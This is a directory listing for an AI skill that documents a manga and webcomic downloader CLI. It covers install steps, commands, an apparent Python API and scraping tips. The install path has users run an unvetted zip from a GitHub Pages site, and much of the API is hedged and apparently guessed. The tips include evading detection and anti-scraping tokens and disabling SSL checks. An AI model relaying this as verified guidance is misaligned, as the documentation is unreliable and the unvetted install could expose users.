SuperAPI AI Directory
Partner中文AI newsFavorites
Skillswebtoon-vault-manga-downloader

webtoon-vault-manga-downloader

General & other

View repository

Updated 10-16 01:08

About this skill

Webtoon Vault Manga Downloader

Skill by ara.so — Devtools Skills collection.

A sophisticated CLI tool for downloading manga and webcomics from multiple hosting platforms. Features intelligent source detection, parallel chapter fetching, CBZ archive creation, and multi-platform parser support for offline comic reading.

What It Does

Webtoon Vault automates the extraction of manga/webcomic chapters from various hosting platforms and packages them into organized CBZ archives or directory structures. Key capabilities:

  • Auto-detection of source platform from URL patterns
  • Parallel downloads with async I/O for speed
  • CBZ packaging with embedded metadata
  • Resume support for interrupted downloads
  • Multi-language metadata extraction
  • Rate limiting to respect server constraints

Supported platforms include Mori Manga, DuManWu, KanKanManHua, ManhuaDB, and GuFeng.

Installation

The project is HTML-based with a web download interface. Based on the repository structure, the actual Python CLI tool is distributed through the GitHub Pages site:

# Download from the official distribution page
# Visit: https://bunatechnologybackup.github.io/manga-pull-cli/

# After download, extract and install
unzip webtoon-vault.zip
cd webtoon-vault
pip install -r requirements.txt

# Or install directly if distributed as package
pip install webtoon-vault

For development/testing from source:

git clone https://github.com/BunaTechnologyBackUP/manga-pull-cli.git
cd manga-pull-cli
pip install -e .

Core CLI Commands

Basic Download

Download a single series from a URL:

# Simple download - auto-detects platform
webtoon-vault download "https://mhpic.com/comic/one-piece"

# With custom output directory
webtoon-vault download "https://dumanwu.com/series/jujutsu-kaisen" --output ./manga/

# Download specific chapter range
webtoon-vault download "https://kankanmanhua.com/comic/naruto" --chapters 1-50

# Download as loose images instead of CBZ
webtoon-vault download "https://manhuadb.com/series/bleach" --format images

Advanced Options

# Parallel chapter downloads (adjust concurrency)
webtoon-vault download URL --parallel 5

# Dry run - preview without downloading
webtoon-vault download URL --dry-run

# Verbose logging for debugging
webtoon-vault download URL --verbose

# Custom naming template
webtoon-vault download URL --template "{series}_Vol{volume}_Ch{chapter}"

# Use proxy
webtoon-vault download URL --proxy http://proxy.example.com:8080

# Resume interrupted download
webtoon-vault resume ./manga/one-piece/

# List supported platforms
webtoon-vault platforms

Batch Operations

# Download from URL list file
webtoon-vault batch urls.txt --output ./comics/

# Example urls.txt:
# https://mhpic.com/comic/one-piece
# https://dumanwu.com/series/attack-on-titan
# https://kankanmanhua.com/comic/demon-slayer

Configuration

Config File (~/.webtoon-vault/config.json)

{
  "output_dir": "~/Comics",
  "format": "cbz",
  "parallel_downloads": 3,
  "naming_template": "{series}_ch{chapter:03d}",
  "rate_limit_delay": 1.5,
  "max_retries": 5,
  "user_agents": [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"
  ],
  "proxy": null,
  "verify_ssl": true,
  "compress_images": false
}

Environment Variables

# Proxy configuration
export HTTP_PROXY=http://proxy.example.com:8080
export HTTPS_PROXY=http://proxy.example.com:8080

# Output directory override
export WEBTOON_VAULT_OUTPUT=~/my-manga-library

# Custom user agent
export WEBTOON_VAULT_USER_AGENT="MyReader/1.0"

# Enable debug logging
export WEBTOON_VAULT_DEBUG=1

Python API Usage

While primarily a CLI tool, the core functionality can be used programmatically:

from webtoon_vault import Downloader, PlatformDetector
from pathlib import Path

# Initialize downloader
downloader = Downloader(
    output_dir=Path("./manga"),
    format="cbz",
    parallel_limit=3
)

# Download a series
url = "https://mhpic.com/comic/one-piece"
result = downloader.download(url, chapters=range(1, 10))

print(f"Downloaded {result.chapters_downloaded} chapters")
print(f"Total size: {result.total_bytes / 1024 / 1024:.2f} MB")

Custom Platform Parser

from webtoon_vault.parsers import BaseParser
import re

class CustomSiteParser(BaseParser):
    """Parser for custom manga site"""
    
    DOMAIN_PATTERN = re.compile(r'customsite\.com')
    
    def get_chapter_list(self, series_url):
        """Extract all chapter URLs from series page"""
        response = self.session.get(series_url)
        soup = BeautifulSoup(response.text, 'html.parser')
        
        chapters = []
        for link in soup.select('.chapter-link'):
            chapters.append({
                'url': link['href'],
                'title': link.text.strip(),
                'number': self._extract_chapter_number(link.text)
            })
        return chapters
    
    def get_chapter_images(self, chapter_url):
        """Extract all image URLs from chapter page"""
        response = self.session.get(chapter_url)
        soup = BeautifulSoup(response.text, 'html.parser')
        
        images = []
        for img in soup.select('.manga-page img'):
            images.append(img['src'])
        return images

# Register custom parser
from webtoon_vault import register_parser
register_parser(CustomSiteParser)

Async Batch Download

import asyncio
from webtoon_vault import AsyncDownloader

async def batch_download():
    downloader = AsyncDownloader(
        output_dir="./comics",
        concurrent_chapters=5
    )
    
    urls = [
        "https://mhpic.com/comic/one-piece",
        "https://dumanwu.com/series/naruto",
        "https://kankanmanhua.com/comic/bleach"
    ]
    
    results = await downloader.download_batch(urls)
    
    for url, result in zip(urls, results):
        if result.success:
            print(f"✓ {url}: {result.chapters_downloaded} chapters")
        else:
            print(f"✗ {url}: {result.error}")

# Run async batch
asyncio.run(batch_download())

Common Patterns

Building Offline Library

from webtoon_vault import LibraryManager
from pathlib import Path

# Initialize library manager
library = LibraryManager(base_dir=Path("~/Comics"))

# Download and organize series
series_urls = [
    "https://mhpic.com/comic/one-piece",
    "https://dumanwu.com/series/attack-on-titan"
]

for url in series_urls:
    # Download with auto-organization
    series = library.add_series(url)
    library.download_series(series, format="cbz")
    
    # Generate metadata
    library.update_metadata(series)

# Query library
all_series = library.list_series()
incomplete = library.find_incomplete_series()

# Export library catalog
library.export_catalog("catalog.json")

Chapter Range Download

from webtoon_vault import Downloader

downloader = Downloader(output_dir="./manga")

# Download specific chapters
url = "https://mhpic.com/comic/one-piece"

# Chapters 1-100
downloader.download(url, chapters=range(1, 101))

# Specific chapters
downloader.download(url, chapters=[1, 5, 10, 15, 20])

# Latest 10 chapters
downloader.download(url, latest=10)

Resume Interrupted Downloads

from webtoon_vault import ResumeManager

# Create resume session
resume = ResumeManager()

try:
    downloader.download(url)
except KeyboardInterrupt:
    # Save progress
    resume.save_state(downloader.get_state())

# Later, resume
state = resume.load_state()
if state:
    downloader.restore_state(state)
    downloader.continue_download()

Custom Naming and Organization

from webtoon_vault import Downloader, NamingTemplate

# Define custom template
template = NamingTemplate(
    pattern="{series}/{volume:02d}/{series}_v{volume:02d}_ch{chapter:03d}",
    metadata_fields=['series', 'volume', 'chapter', 'title']
)

downloader = Downloader(
    output_dir="./library",
    naming_template=template
)

# Results in: ./library/One_Piece/01/One_Piece_v01_ch001.cbz

Rate Limiting and Retry Logic

from webtoon_vault import Downloader, RateLimiter

# Configure rate limiting
limiter = RateLimiter(
    requests_per_second=2,
    burst_size=5,
    backoff_factor=2.0,
    max_delay=30
)

downloader = Downloader(
    rate_limiter=limiter,
    max_retries=5,
    retry_delay=3
)

# Download with automatic retry on failure
result = downloader.download(
    url,
    on_error='retry',  # Options: 'retry', 'skip', 'abort'
    verify_checksums=True
)

Troubleshooting

Platform Detection Fails

# Manually specify platform
from webtoon_vault import Downloader
from webtoon_vault.parsers import MoriMangaParser

downloader = Downloader(parser=MoriMangaParser)
downloader.download(url)

SSL Certificate Errors

# Disable SSL verification (not recommended for production)
webtoon-vault download URL --no-verify-ssl

Or in code:

downloader = Downloader(verify_ssl=False)

Rate Limit / IP Blocking

# Increase delay between requests
webtoon-vault download URL --delay 3.0

# Use rotating user agents
webtoon-vault download URL --rotate-user-agents

# Use proxy
webtoon-vault download URL --proxy socks5://proxy.example.com:1080

Images Not Loading (Lazy Loading)

# Enable JavaScript rendering (requires selenium)
from webtoon_vault import Downloader

downloader = Downloader(
    use_selenium=True,
    browser='chrome',
    headless=True
)

Memory Issues with Large Series

# Stream downloads instead of buffering
downloader = Downloader(
    stream_mode=True,
    chunk_size=8192,
    max_memory_mb=512
)

Debug Failed Downloads

import logging
from webtoon_vault import Downloader

# Enable verbose logging
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger('webtoon_vault')

downloader = Downloader(logger=logger)

# Check failed chapters
result = downloader.download(url)
for failure in result.failed_chapters:
    print(f"Chapter {failure.number}: {failure.error}")
    print(f"Traceback: {failure.traceback}")

Corrupted CBZ Files

# Verify and repair archives
webtoon-vault verify ./manga/one-piece/ --repair

# Re-download corrupted chapters
webtoon-vault redownload ./manga/one-piece/ --verify-checksums

Best Practices

  1. Respect rate limits: Use appropriate delays to avoid IP bans
  2. Resume support: Always enable session caching for large downloads
  3. Verify downloads: Use checksum verification for critical archives
  4. Organize early: Set up naming templates before downloading
  5. Monitor disk space: Large series can consume significant storage
  6. Keep user agents updated: Rotate UAs to avoid detection
  7. Handle errors gracefully: Use retry logic with exponential backoff
  8. Legal compliance: Only download content you have rights to access

Platform-Specific Notes

Mori Manga (mhpic.com)

  • Supports lazy-loaded images
  • Requires JavaScript rendering for some series
  • Rate limit: ~2 requests/second recommended

DuManWu

  • Uses dynamic chapter pagination
  • Image URLs expire after 1 hour
  • Best with parallel downloads enabled

KanKanManHua

  • Implements anti-scraping tokens
  • Requires cookie injection for age-gated content
  • User-Agent rotation recommended

ManhuaDB (Beta)

  • Inconsistent chapter numbering
  • Manual verification recommended
  • May require custom parsers for some series